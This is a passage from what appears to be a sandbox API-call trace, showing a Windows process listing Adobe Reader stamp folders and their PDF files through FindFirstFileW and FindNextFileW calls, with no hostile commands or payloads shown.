ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10873, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 0 [0227.930] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0227.931] GetProcessHeap () returned 0x550000 [0227.931] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2600098 | out: hHeap=0x550000) returned 1 [0227.931] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff748c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff748c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PTB", cAlternateFileName="")) returned 1 [0227.932] GetProcessHeap () returned 0x550000 [0227.932] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2600098 [0227.932] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff748c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff748c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0227.933] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff748c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff748c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.933] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc4a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0227.933] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9c53, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0227.933] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x19c87, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0227.933] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x19c87, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 0 [0227.933] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0227.933] GetProcessHeap () returned 0x550000 [0227.933] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2600098 | out: hHeap=0x550000) returned 1 [0227.934] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80698ac0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806bec20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RUM", cAlternateFileName="")) returned 1 [0227.934] GetProcessHeap () returned 0x550000 [0227.934] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2600098 [0227.934] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80698ac0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806bec20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0227.944] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80698ac0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806bec20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.944] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0227.944] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0227.944] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb731, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0227.944] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe736, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0227.944] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c4f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0227.944] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2fe62, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0227.944] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2fe62, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 0 [0227.945] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0227.946] GetProcessHeap () returned 0x550000 [0227.946] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2600098 | out: hHeap=0x550000) returned 1 [0227.946] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80672960, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80698ac0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RUS", cAlternateFileName="")) returned 1 [0227.946] GetProcessHeap () returned 0x550000 [0227.946] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2600098 [0227.946] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80672960, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80698ac0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0227.972] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80672960, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80698ac0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.973] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xeac7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0227.973] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0227.973] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb731, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0227.973] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa118, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0227.973] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c4f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0227.973] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1ac4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0227.973] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1ac4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 0 [0227.973] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0227.974] GetProcessHeap () returned 0x550000 [0227.974] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2600098 | out: hHeap=0x550000) returned 1 [0227.974] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80672960, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY", cAlternateFileName="")) returned 1 [0227.974] GetProcessHeap () returned 0x550000 [0227.974] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2600098 [0227.974] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80672960, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0227.991] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80672960, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.991] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa85d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0227.991] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0227.991] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb731, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0227.991] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb9dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0227.991] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c4f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0227.992] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14758, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0227.992] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14758, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 0 [0227.992] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0227.993] GetProcessHeap () returned 0x550000 [0227.993] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2600098 | out: hHeap=0x550000) returned 1 [0227.993] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLV", cAlternateFileName="")) returned 1 [0227.993] GetProcessHeap () returned 0x550000 [0227.993] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2600098 [0227.993] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0228.073] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0228.073] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e146, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0228.073] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0228.073] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: 